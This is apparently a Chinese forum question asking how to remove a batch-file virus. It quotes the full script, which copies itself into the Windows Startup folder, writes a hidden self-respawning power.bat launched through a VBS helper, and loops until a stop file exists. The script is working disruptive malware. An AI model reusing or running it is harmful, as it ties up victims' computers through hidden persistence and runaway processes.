用bat语言编写的这个病毒程序怎么清楚
@echo off
if not exist "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat" copy %~fs0 "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat">nul
echo @echo off>%windir%\power.bat
echo if "%%1"=="" goto :end>>%windir%\power.bat
echo if exist C:\_stop goto :EOF>>%windir%\power.bat
echo start /B %%~fs0 exp>>%windir%\power.bat
echo :s>>%windir%\power.bat
echo if not exist C:\_stop goto s>>%windir%\power.bat
echo exit>>%windir%\power.bat
echo :end>>%windir%\power.bat
echo del %%~fs0>>%windir%\power.bat
echo set ws=CreateObject("WScript.Shell")>%windir%\power.vbs
echo ws.Run "%windir%\power.bat exp",0 >>%windir%\power.vbs
WScript %windir%\power.vbs
del %windir%\power.vbs
set p=%~ps0
if not %p:~-3,2%==启动 del %~fs0
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